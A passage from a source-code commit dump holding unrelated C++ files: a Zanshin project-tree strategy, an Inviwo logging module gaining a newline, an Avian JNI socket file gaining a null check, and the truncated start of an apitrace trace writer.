mRelations(structure)\n{\n PimItemServices::projectInstance().setRelationsStructure(mRelations.data());\n mReparentOnRemoval = false;\n connect(mRelations.data(), SIGNAL(nodeRemoved(Id)), this, SLOT(doRemoveNode(Id)));\n connect(mRelations.data(), SIGNAL(parentsChanged(Id,IdList)), this, SLOT(doChangeParents(Id, IdList)));\n}\n\nvoid ProjectStrategy::init()\n{\n ReparentingStrategy::init();\n \/\/FIXME we should be setting this earlier, here the inserted signals have already been emitted\n\n QList<TodoNode*> nodes = createNode(mInbox, IdList(), \"Inbox\");\n Q_ASSERT(nodes.size() == 1);\n TodoNode *node = nodes.first();\n node->setData(i18n(\"Inbox\"), 0, Qt::DisplayRole);\n node->setData(KIcon(\"mail-folder-inbox\"), 0, Qt::DecorationRole);\n node->setRowData(Zanshin::Inbox, Zanshin::ItemTypeRole);\n}\n\nstatic Id translateFrom(Id id)\n{\n \/\/TODO proper id mapping\n return id+10;\n}\n\nstatic Id translateTo(Id id)\n{\n \/\/TODO proper id mapping\n return id-10;\n}\n\nstatic IdList translateFrom(IdList l)\n{\n IdList list;\n foreach (Id id, l) {\n list << translateFrom(id);\n }\n return list;\n}\n\nvoid ProjectStrategy::doRemoveNode(Id id)\n{\n kDebug() << id;\n \/\/FIXME\n\/\/ ReparentingStrategy::removeNode(translateFrom(id));\n}\n\nvoid ProjectStrategy::doChangeParents(Id id, IdList parents)\n{\n IdList p;\n if (parents.isEmpty()) {\n bool isProject = mRelations->hasChildren(id);\n if (isProject) {\n const Akonadi::Collection col = getParentCollection(translateFrom(id));\n if (col.isValid()) {\n p << translateFrom(mRelations->addCollection(col));\n }\n } else {\n p << mInbox;\n }\n } else {\n p << translateFrom(parents);\n }\n ReparentingStrategy::updateParents(translateFrom(id), p);\n}\n\nId ProjectStrategy::getId(const QModelIndex &sourceChildIndex)\n{\n Zanshin::ItemType type = (Zanshin::ItemType) sourceChildIndex.data(Zanshin::ItemTypeRole).toInt();\n if (type==Zanshin::Collection) {\n return translateFrom(mRelations->addCollection(sourceChildIndex.data(Akonadi::EntityTreeModel::CollectionRole).value<Akonadi::Collection>()));\n }\n\/\/ kDebug() << sourceChildIndex.data(Akonadi::EntityTreeModel::ItemRole).value<Akonadi::Item>().url() << sourceChildIndex << type;\n const Akonadi::Item &item = sourceChildIndex.data(Akonadi::EntityTreeModel::ItemRole).value<Akonadi::Item>();\n Q_ASSERT(item.isValid());\n Id id = mRelations->addItem(item);\n if (id < 0) {\n return -1;\n }\n return translateFrom(id);\n}\n\nbool ProjectStrategy::isProject(Id id, Zanshin::ItemType itemType) const\n{\n if (itemType == Zanshin::ProjectTodo\n || ((itemType == Zanshin::StandardTodo) && mRelations->hasChildren(translateTo(id)))) {\n return true;\n }\n return false;\n}\n\nIdList ProjectStrategy::getParents(const QModelIndex &sourceChildIndex, const IdList &ignore)\n{\n Q_ASSERT(sourceChildIndex.isValid());\n\/\/ kDebug() << sourceChildIndex.data(Akonadi::EntityTreeModel::ItemRole).value<Akonadi::Item>().url();\n\/\/ kDebug() << sourceChildIndex.data().toString();\n\/\/ mRelations->printCache();\n IdList parents;\n Zanshin::ItemType type = (Zanshin::ItemType) sourceChildIndex.data(Zanshin::ItemTypeRole).toInt();\n if (type==Zanshin::Collection) {\n const QModelIndex &parent = sourceChildIndex.parent();\n if (parent.isValid()) {\n return IdList() << getId(parent);\n }\n return IdList();\n }\n\n const Akonadi::Item &item = sourceChildIndex.data(Akonadi::EntityTreeModel::ItemRole).value<Akonadi::Item>();\n Id id = mRelations->getItemId(item);\n parents = translateFrom(mRelations->getParents(id));\n bool isNote = (sourceChildIndex.data(PimItemModel::ItemTypeRole).toInt() == PimItem::Note);\n if (parents.isEmpty() || isNote) {\n if (!isProject(translateFrom(id), type) && !isNote) {\n return IdList() << mInbox;\n }\n const QModelIndex &parent = sourceChildIndex.parent();\n if (parent.isValid()) {\n parents << getId(parent);\n }\n }\n Q_ASSERT(!parents.contains(translateFrom(id)));\n\n foreach(Id i, ignore) {\n parents.removeAll(i);\n }\n\/\/ kDebug() << id << parents;\n checkParents(parents);\n return parents;\n}\n\nvoid ProjectStrategy::onNodeRemoval(const Id& changed)\n{\n IdList parents = translateFrom(mRelations->getParents(translateTo(changed)));\n\/\/ kDebug() << changed << parents;\n mRelations->removeNode(translateTo(changed));\n checkParents(parents);\n}\n\nvoid ProjectStrategy::checkParents(const IdList &parentsToCheck)\n{\n foreach(Id id, parentsToCheck) {\n \/\/Because we may have just removed a project\n ReparentingStrategy::updateParents(id);\n }\n}\n\nvoid ProjectStrategy::reset()\n{\n ReparentingStrategy::reset();\n}\n\nQt::ItemFlags ProjectStrategy::flags(const QModelIndex& index, Qt::ItemFlags existingFlags)\n{\n Zanshin::ItemType type = (Zanshin::ItemType)index.data(Zanshin::ItemTypeRole).toInt();\n\n if (type == Zanshin::Inbox) {\n return Qt::ItemIsSelectable | Qt::ItemIsDropEnabled | Qt::ItemIsEnabled;\n }\n\n Akonadi::Collection collection;\n if (type==Zanshin::Collection) {\n collection = index.data(Akonadi::EntityTreeModel::CollectionRole).value<Akonadi::Collection>();\n } else if (type == Zanshin::ProjectTodo) { \/\/isProject(getId(index), type) FIXME for some reason the item is invalid in getid\n \/\/ We use ParentCollectionRole instead of Akonadi::Item::parentCollection() because the\n \/\/ information about the rights is not valid on retrieved items.\n collection = index.data(Akonadi::EntityTreeModel::ParentCollectionRole).value<Akonadi::Collection>();\n }\n\n if (!(collection.rights() & Akonadi::Collection::CanCreateItem)) {\n existingFlags &= ~Qt::ItemIsDropEnabled;\n } else {\n existingFlags |= Qt::ItemIsDropEnabled;\n }\n\n return existingFlags;\n}\n\nQt::DropActions ProjectStrategy::supportedDropActions() const\n{\n return Qt::MoveAction\/*|Qt::LinkAction*\/;\n}\n\nbool ProjectStrategy::onDropMimeData(Id id, const QMimeData* mimeData, Qt::DropAction action)\n{\n if (action != Qt::MoveAction || !KUrl::List::canDecode(mimeData)) {\n return false;\n }\n\n KUrl::List urls = KUrl::List::fromMimeData(mimeData);\n\n PimNode parentNode(PimNode::Invalid);\n bool forward;\n Zanshin::ItemType parentType = (Zanshin::ItemType)data(id, 0, Zanshin::ItemTypeRole, forward).toInt();\n if (parentType == Zanshin::Collection) {\n parentNode.collection = getData(id, Akonadi::EntityTreeModel::CollectionRole).value<Akonadi::Collection>();\n parentNode.type = PimNode::Collection;\n } else {\n parentNode.item = getData(id, Akonadi::EntityTreeModel::ItemRole).value<Akonadi::Item>();\n parentNode.collection = parentNode.item.parentCollection();\n parentNode.type = PimNode::Project;\n parentNode.uid = getData(id, Zanshin::UidRole).toString();\n }\n\n foreach (const KUrl &url, urls) {\n const Akonadi::Item urlItem = Akonadi::Item::fromUrl(url);\n \/\/TODO make sure we never get here during testing (although we normally shouldn't anyways\n if (urlItem.isValid()) {\n \/\/TODO replace by getData\/setData?\n Akonadi::ItemFetchJob *job = new Akonadi::ItemFetchJob(urlItem);\n job->fetchScope().setAncestorRetrieval(Akonadi::ItemFetchScope::Parent);\n job->fetchScope().fetchFullPayload();\n if ( !job->exec() ) {\n continue;\n }\n Q_ASSERT(job->items().size()==1);\n Akonadi::Item item = job->items().first();\n Q_ASSERT(item.isValid());\n\n PimNode node(PimNode::Invalid);\n if (PimItem::itemType(item) == PimItem::Todo) {\n node.type = PimNode::Todo;\n } else {\n node.type = PimNode::Note;\n }\n node.item = item;\n\n PimItemServices::moveTo(node, parentNode);\n return true;\n }\n }\n\n return false;\n}\n\nQVariant ProjectStrategy::data(Id id, int column, int role, bool &forward) const\n{\n \/\/We simply override the todometadatamodel data for todos with children (which are also projects)\n const Zanshin::ItemType itemType = static_cast<Zanshin::ItemType>(getData(id, Zanshin::ItemTypeRole).toInt());\n bool project = isProject(id, itemType);\n\n switch (role) {\n case Zanshin::ItemTypeRole: {\n if (id == mInbox) {\n return Zanshin::Inbox;\n }\n if (project) {\n return Zanshin::ProjectTodo;\n }\n return itemType;\n }\n case Qt::CheckStateRole:\n if (project) {\n forward = false;\n return QVariant();\n }\n break;\n case Qt::DecorationRole:\n if (project && !column) {\n return KIcon(\"view-pim-tasks\");\n }\n break;\n }\n return QVariant();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2012-2017 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include <inviwo\/core\/util\/logcentral.h>\n#include <inviwo\/core\/util\/stacktrace.h>\n#include <inviwo\/core\/util\/filesystem.h>\n#include <inviwo\/core\/common\/inviwoapplication.h>\n#include <inviwo\/core\/processors\/processor.h>\n#include <inviwo\/core\/network\/processornetwork.h>\n\nnamespace inviwo {\n\nvoid Logger::logProcessor(Processor* processor, LogLevel level, LogAudience audience,\n std::string msg, const char* file, const char* function, int line) {\n log(\"Processor \" + processor->getIdentifier(), level, audience, file, function, line, msg);\n}\n\nvoid Logger::logNetwork(LogLevel level, LogAudience audience, std::string msg, const char* file,\n const char* function, int line) {\n log(\"ProcessorNetwork\", level, audience, file, function, line, msg);\n}\n\nvoid Logger::logAssertion(const char* fileName, const char* functionName, long lineNumber,\n std::string message) {\n log(\"Assertion failed\", LogLevel::Error, LogAudience::Developer, fileName, functionName,\n lineNumber, message);\n}\n\nLogCentral::LogCentral() : logLevel_(LogLevel::Info), logStacktrace_(false) {}\n\nvoid LogCentral::registerLogger(std::weak_ptr<Logger> logger) { loggers_.push_back(logger); }\n\nvoid LogCentral::log(std::string source, LogLevel level, LogAudience audience, const char* file,\n const char* function, int line, std::string msg) {\n if (logStacktrace_ && level == LogLevel::Error && audience == LogAudience::Developer) {\n std::stringstream ss;\n ss << msg;\n\n std::vector<std::string> stacktrace = getStackTrace();\n \/\/ start at i == 3 to remove log and getStacktrace from stackgrace\n for (size_t i = 3; i < stacktrace.size(); ++i) {\n ss << std::endl << stacktrace[i];\n }\n \/\/ append an extra line break to easier separate several stacktraces in a row\n ss << std::endl;\n\n msg = ss.str();\n }\n\n if (level >= logLevel_) {\n \/\/ use remove if here to remove expired weak pointers while calling the loggers.\n util::erase_remove_if(loggers_, [&](const std::weak_ptr<Logger>& logger) {\n if (auto l = logger.lock()) {\n l->log(source, level, audience, file, function, line, msg);\n return false;\n } else {\n return true;\n }\n });\n }\n}\n\nvoid LogCentral::logProcessor(Processor* processor, LogLevel level, LogAudience audience,\n std::string msg, const char* file, const char* function, int line) {\n if (level >= logLevel_) {\n \/\/ use remove if here to remove expired weak pointers while calling the loggers.\n util::erase_remove_if(loggers_, [&](const std::weak_ptr<Logger>& logger) {\n if (auto l = logger.lock()) {\n l->logProcessor(processor, level, audience, msg, file, function, line);\n return false;\n } else {\n return true;\n }\n });\n }\n}\n\nvoid LogCentral::logNetwork(LogLevel level, LogAudience audience, std::string msg, const char* file,\n const char* function, int line) {\n if (level >= logLevel_) {\n \/\/ use remove if here to remove expired weak pointers while calling the loggers.\n util::erase_remove_if(loggers_, [&](const std::weak_ptr<Logger>& logger) {\n if (auto l = logger.lock()) {\n l->logNetwork(level, audience, msg, file, function, line);\n return false;\n } else {\n return true;\n }\n });\n }\n}\n\nvoid LogCentral::logAssertion(const char* fileName, const char* functionName, long lineNumber,\n std::string message) {\n util::erase_remove_if(loggers_, [&](const std::weak_ptr<Logger>& logger) {\n if (auto l = logger.lock()) {\n l->logAssertion(fileName, functionName, lineNumber, message);\n return false;\n } else {\n return true;\n }\n });\n}\n\nvoid LogCentral::setLogStacktrace(const bool& logStacktrace) { logStacktrace_ = logStacktrace; }\n\nbool LogCentral::getLogStacktrace() const { return logStacktrace_; }\n\nvoid util::log(ExceptionContext context, std::string message, LogLevel level,\n LogAudience audience) {\n LogCentral::getPtr()->log(context.getCaller(), level, audience, context.getFile().c_str(),\n context.getFunction().c_str(), context.getLine(), message);\n}\n\n} \/\/ namespace inviwo<commit_msg>Core: added newline<commit_after>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2012-2017 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include <inviwo\/core\/util\/logcentral.h>\n#include <inviwo\/core\/util\/stacktrace.h>\n#include <inviwo\/core\/util\/filesystem.h>\n#include <inviwo\/core\/common\/inviwoapplication.h>\n#include <inviwo\/core\/processors\/processor.h>\n#include <inviwo\/core\/network\/processornetwork.h>\n\nnamespace inviwo {\n\nvoid Logger::logProcessor(Processor* processor, LogLevel level, LogAudience audience,\n std::string msg, const char* file, const char* function, int line) {\n log(\"Processor \" + processor->getIdentifier(), level, audience, file, function, line, msg);\n}\n\nvoid Logger::logNetwork(LogLevel level, LogAudience audience, std::string msg, const char* file,\n const char* function, int line) {\n log(\"ProcessorNetwork\", level, audience, file, function, line, msg);\n}\n\nvoid Logger::logAssertion(const char* fileName, const char* functionName, long lineNumber,\n std::string message) {\n log(\"Assertion failed\", LogLevel::Error, LogAudience::Developer, fileName, functionName,\n lineNumber, message);\n}\n\nLogCentral::LogCentral() : logLevel_(LogLevel::Info), logStacktrace_(false) {}\n\nvoid LogCentral::registerLogger(std::weak_ptr<Logger> logger) { loggers_.push_back(logger); }\n\nvoid LogCentral::log(std::string source, LogLevel level, LogAudience audience, const char* file,\n const char* function, int line, std::string msg) {\n if (logStacktrace_ && level == LogLevel::Error && audience == LogAudience::Developer) {\n std::stringstream ss;\n ss << msg;\n\n std::vector<std::string> stacktrace = getStackTrace();\n \/\/ start at i == 3 to remove log and getStacktrace from stackgrace\n for (size_t i = 3; i < stacktrace.size(); ++i) {\n ss << std::endl << stacktrace[i];\n }\n \/\/ append an extra line break to easier separate several stacktraces in a row\n ss << std::endl;\n\n msg = ss.str();\n }\n\n if (level >= logLevel_) {\n \/\/ use remove if here to remove expired weak pointers while calling the loggers.\n util::erase_remove_if(loggers_, [&](const std::weak_ptr<Logger>& logger) {\n if (auto l = logger.lock()) {\n l->log(source, level, audience, file, function, line, msg);\n return false;\n } else {\n return true;\n }\n });\n }\n}\n\nvoid LogCentral::logProcessor(Processor* processor, LogLevel level, LogAudience audience,\n std::string msg, const char* file, const char* function, int line) {\n if (level >= logLevel_) {\n \/\/ use remove if here to remove expired weak pointers while calling the loggers.\n util::erase_remove_if(loggers_, [&](const std::weak_ptr<Logger>& logger) {\n if (auto l = logger.lock()) {\n l->logProcessor(processor, level, audience, msg, file, function, line);\n return false;\n } else {\n return true;\n }\n });\n }\n}\n\nvoid LogCentral::logNetwork(LogLevel level, LogAudience audience, std::string msg, const char* file,\n const char* function, int line) {\n if (level >= logLevel_) {\n \/\/ use remove if here to remove expired weak pointers while calling the loggers.\n util::erase_remove_if(loggers_, [&](const std::weak_ptr<Logger>& logger) {\n if (auto l = logger.lock()) {\n l->logNetwork(level, audience, msg, file, function, line);\n return false;\n } else {\n return true;\n }\n });\n }\n}\n\nvoid LogCentral::logAssertion(const char* fileName, const char* functionName, long lineNumber,\n std::string message) {\n util::erase_remove_if(loggers_, [&](const std::weak_ptr<Logger>& logger) {\n if (auto l = logger.lock()) {\n l->logAssertion(fileName, functionName, lineNumber, message);\n return false;\n } else {\n return true;\n }\n });\n}\n\nvoid LogCentral::setLogStacktrace(const bool& logStacktrace) { logStacktrace_ = logStacktrace; }\n\nbool LogCentral::getLogStacktrace() const { return logStacktrace_; }\n\nvoid util::log(ExceptionContext context, std::string message, LogLevel level,\n LogAudience audience) {\n LogCentral::getPtr()->log(context.getCaller(), level, audience, context.getFile().c_str(),\n context.getFunction().c_str(), context.getLine(), message);\n}\n\n} \/\/ namespace inviwo\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2008-2014, Avian Contributors\n\n Permission to use, copy, modify, and\/or distribute this software\n for any purpose with or without fee is hereby granted, provided\n that the above copyright notice and this permission notice appear\n in all copies.\n\n There is NO WARRANTY for this software. See license.txt for\n details. *\/\n\n#include \"jni.h\"\n#include \"avian\/machine.h\"\n#include \"sockets.h\"\n#include \"jni-util.h\"\n\nusing namespace avian::classpath::sockets;\n\nextern \"C\" JNIEXPORT void JNICALL Java_java_net_Socket_init(JNIEnv* e, jclass)\n{\n init(e);\n}\n\nextern \"C\" JNIEXPORT SOCKET JNICALL\n Java_java_net_Socket_create(JNIEnv* e, jclass)\n{\n return create(e);\n}\n\nextern \"C\" JNIEXPORT void JNICALL Java_java_net_Socket_connect(JNIEnv* e,\n jclass,\n SOCKET sock,\n long addr,\n short port)\n{\n connect(e, sock, addr, port);\n}\n\nextern \"C\" JNIEXPORT void JNICALL Java_java_net_Socket_bind(JNIEnv* e,\n jclass,\n SOCKET sock,\n long addr,\n short port)\n{\n bind(e, sock, addr, port);\n}\n\nextern \"C\" JNIEXPORT void JNICALL\n Java_java_net_Socket_abort(JNIEnv* e, jclass, SOCKET sock)\n{\n abort(e, sock);\n}\n\nextern \"C\" JNIEXPORT void JNICALL\n Java_java_net_Socket_close(JNIEnv* e, jclass, SOCKET sock)\n{\n close(e, sock);\n}\n\nextern \"C\" JNIEXPORT void JNICALL\n Java_java_net_Socket_closeOutput(JNIEnv* e, jclass, SOCKET sock)\n{\n close_output(e, sock);\n}\n\nextern \"C\" JNIEXPORT void JNICALL\n Java_java_net_Socket_closeInput(JNIEnv* e, jclass, SOCKET sock)\n{\n close_input(e, sock);\n}\n\nextern \"C\" JNIEXPORT void JNICALL\n Avian_java_net_Socket_send(vm::Thread* t, vm::object, uintptr_t* arguments)\n{ \/* SOCKET s, object buffer_obj, int start_pos, int count *\/\n SOCKET& s = *(reinterpret_cast<SOCKET*>(&arguments[0]));\n vm::GcByteArray* buffer_obj = vm::cast<vm::GcByteArray>(\n t, reinterpret_cast<vm::object>(arguments[2]));\n int32_t& start_pos = *(reinterpret_cast<int32_t*>(&arguments[3]));\n int32_t& count = *(reinterpret_cast<int32_t*>(&arguments[4]));\n char* buffer = reinterpret_cast<char*>(&buffer_obj->body()[start_pos]);\n avian::classpath::sockets::send((JNIEnv*)t, s, buffer, count);\n}\n\nextern \"C\" JNIEXPORT int64_t JNICALL\n Avian_java_net_Socket_recv(vm::Thread* t, vm::object, uintptr_t* arguments)\n{ \/* SOCKET s, object buffer_obj, int start_pos, int count *\/\n SOCKET& s = *(reinterpret_cast<SOCKET*>(&arguments[0]));\n vm::GcByteArray* buffer_obj = vm::cast<vm::GcByteArray>(\n t, reinterpret_cast<vm::object>(arguments[2]));\n int32_t& start_pos = *(reinterpret_cast<int32_t*>(&arguments[3]));\n int32_t& count = *(reinterpret_cast<int32_t*>(&arguments[4]));\n char* buffer = reinterpret_cast<char*>(&buffer_obj->body()[start_pos]);\n return avian::classpath::sockets::recv((JNIEnv*)t, s, buffer, count);\n}\n\nextern \"C\" JNIEXPORT jint JNICALL\n Java_java_net_InetAddress_ipv4AddressForName(JNIEnv* e,\n jclass,\n jstring name)\n{\n const char* chars = e->GetStringUTFChars(name, 0);\n if (chars) {\n#ifdef PLATFORM_WINDOWS\n hostent* host = gethostbyname(chars);\n e->ReleaseStringUTFChars(name, chars);\n if (host) {\n return ntohl(reinterpret_cast<in_addr*>(host->h_addr_list[0])->s_addr);\n } else {\n throwNew(e, \"java\/net\/UnknownHostException\", 0);\n return 0;\n }\n#else\n addrinfo hints;\n memset(&hints, 0, sizeof(addrinfo));\n hints.ai_family = AF_INET;\n hints.ai_socktype = SOCK_STREAM;\n\n addrinfo* result;\n int r = getaddrinfo(chars, 0, &hints, &result);\n e->ReleaseStringUTFChars(name, chars);\n\n if (r != 0) {\n throwNew(e, \"java\/net\/UnknownHostException\", 0);\n return 0;\n } else {\n int address = ntohl(\n reinterpret_cast<sockaddr_in*>(result->ai_addr)->sin_addr.s_addr);\n\n freeaddrinfo(result);\n return address;\n }\n#endif\n } else {\n throwNew(e, \"java\/lang\/OutOfMemoryError\", 0);\n return 0;\n }\n}\n<commit_msg>cp\/avian\/java-net.cpp: fix segfault<commit_after>\/* Copyright (c) 2008-2014, Avian Contributors\n\n Permission to use, copy, modify, and\/or distribute this software\n for any purpose with or without fee is hereby granted, provided\n that the above copyright notice and this permission notice appear\n in all copies.\n\n There is NO WARRANTY for this software. See license.txt for\n details. *\/\n\n#include \"jni.h\"\n#include \"avian\/machine.h\"\n#include \"sockets.h\"\n#include \"jni-util.h\"\n\nusing namespace avian::classpath::sockets;\n\nextern \"C\" JNIEXPORT void JNICALL Java_java_net_Socket_init(JNIEnv* e, jclass)\n{\n init(e);\n}\n\nextern \"C\" JNIEXPORT SOCKET JNICALL\n Java_java_net_Socket_create(JNIEnv* e, jclass)\n{\n return create(e);\n}\n\nextern \"C\" JNIEXPORT void JNICALL Java_java_net_Socket_connect(JNIEnv* e,\n jclass,\n SOCKET sock,\n long addr,\n short port)\n{\n connect(e, sock, addr, port);\n}\n\nextern \"C\" JNIEXPORT void JNICALL Java_java_net_Socket_bind(JNIEnv* e,\n jclass,\n SOCKET sock,\n long addr,\n short port)\n{\n bind(e, sock, addr, port);\n}\n\nextern \"C\" JNIEXPORT void JNICALL\n Java_java_net_Socket_abort(JNIEnv* e, jclass, SOCKET sock)\n{\n abort(e, sock);\n}\n\nextern \"C\" JNIEXPORT void JNICALL\n Java_java_net_Socket_close(JNIEnv* e, jclass, SOCKET sock)\n{\n close(e, sock);\n}\n\nextern \"C\" JNIEXPORT void JNICALL\n Java_java_net_Socket_closeOutput(JNIEnv* e, jclass, SOCKET sock)\n{\n close_output(e, sock);\n}\n\nextern \"C\" JNIEXPORT void JNICALL\n Java_java_net_Socket_closeInput(JNIEnv* e, jclass, SOCKET sock)\n{\n close_input(e, sock);\n}\n\nextern \"C\" JNIEXPORT void JNICALL\n Avian_java_net_Socket_send(vm::Thread* t, vm::object, uintptr_t* arguments)\n{ \/* SOCKET s, object buffer_obj, int start_pos, int count *\/\n SOCKET& s = *(reinterpret_cast<SOCKET*>(&arguments[0]));\n vm::GcByteArray* buffer_obj = vm::cast<vm::GcByteArray>(\n t, reinterpret_cast<vm::object>(arguments[2]));\n int32_t& start_pos = *(reinterpret_cast<int32_t*>(&arguments[3]));\n int32_t& count = *(reinterpret_cast<int32_t*>(&arguments[4]));\n char* buffer = reinterpret_cast<char*>(&buffer_obj->body()[start_pos]);\n avian::classpath::sockets::send((JNIEnv*)t, s, buffer, count);\n}\n\nextern \"C\" JNIEXPORT int64_t JNICALL\n Avian_java_net_Socket_recv(vm::Thread* t, vm::object, uintptr_t* arguments)\n{ \/* SOCKET s, object buffer_obj, int start_pos, int count *\/\n SOCKET& s = *(reinterpret_cast<SOCKET*>(&arguments[0]));\n vm::GcByteArray* buffer_obj = vm::cast<vm::GcByteArray>(\n t, reinterpret_cast<vm::object>(arguments[2]));\n int32_t& start_pos = *(reinterpret_cast<int32_t*>(&arguments[3]));\n int32_t& count = *(reinterpret_cast<int32_t*>(&arguments[4]));\n char* buffer = reinterpret_cast<char*>(&buffer_obj->body()[start_pos]);\n return avian::classpath::sockets::recv((JNIEnv*)t, s, buffer, count);\n}\n\nextern \"C\" JNIEXPORT jint JNICALL\n Java_java_net_InetAddress_ipv4AddressForName(JNIEnv* e,\n jclass,\n jstring name)\n{\n if(!name) {\n throwNew(e, \"java\/lang\/NullPointerException\", 0);\n return 0;\n }\n\n const char* chars = e->GetStringUTFChars(name, 0);\n if (chars) {\n#ifdef PLATFORM_WINDOWS\n hostent* host = gethostbyname(chars);\n e->ReleaseStringUTFChars(name, chars);\n if (host) {\n return ntohl(reinterpret_cast<in_addr*>(host->h_addr_list[0])->s_addr);\n } else {\n throwNew(e, \"java\/net\/UnknownHostException\", 0);\n return 0;\n }\n#else\n addrinfo hints;\n memset(&hints, 0, sizeof(addrinfo));\n hints.ai_family = AF_INET;\n hints.ai_socktype = SOCK_STREAM;\n\n addrinfo* result;\n int r = getaddrinfo(chars, 0, &hints, &result);\n e->ReleaseStringUTFChars(name, chars);\n\n if (r != 0) {\n throwNew(e, \"java\/net\/UnknownHostException\", 0);\n return 0;\n } else {\n int address = ntohl(\n reinterpret_cast<sockaddr_in*>(result->ai_addr)->sin_addr.s_addr);\n\n freeaddrinfo(result);\n return address;\n }\n#endif\n } else {\n throwNew(e, \"java\/lang\/OutOfMemoryError\", 0);\n return 0;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/**************************************************************************\n *\n * Copyright 2007-2011 VMware, Inc.\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n **************************************************************************\/\n\n\n#include <assert.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"os.hpp\"\n#include \"os_thread.hpp\"\n#include \"os_string.hpp\"\n#include \"trace_file.hpp\"\n#include \"trace_writer.hpp\"\n#include \"trace_format.hpp\"\n\n\nnamespace trace {\n\n\nstatic const char *memcpy_args[3] = {\"dest\", \"src\", \"n\"};\nconst FunctionSig memcpy_sig = {0, \"memcpy\", 3, memcpy_args};\n\nstatic const char *malloc_args[1] = {\"size\"};\nconst FunctionSig malloc_sig = {1, \"malloc\", 1, malloc_args};\n\nstatic const char *free_args[1] = {\"ptr\"};\nconst FunctionSig free_sig = {2, \"free\", 1, free_args};\n\nstatic const char *realloc_args[2] = {\"ptr\", \"size\"};\nconst FunctionSig realloc_sig = {3, \"realloc\", 2, realloc_args};\n\n\nstatic void exceptionCallback(void)\n{\n localWriter.flush();\n}\n\n\nLocalWriter::LocalWriter() :\n acquired(0)\n{\n \/\/ Install the signal handlers as early as possible, to prevent\n \/\/ interfering with the application's signal handling.\n os::setExceptionCallback(exceptionCallback);\n}\n\nLocalWriter::~LocalWriter()\n{\n os::resetExceptionCallback();\n}\n\nvoid\nLocalWriter::open(void) {\n os::String szFileName;\n\n const char *lpFileName;\n\n lpFileName = getenv(\"TRACE_FILE\");\n if (!lpFileName) {\n static unsigned dwCounter = 0;\n\n os::String process = os::getProcessName();\n#ifdef _WIN32\n process.trimExtension();\n#endif\n process.trimDirectory();\n\n os::String prefix = 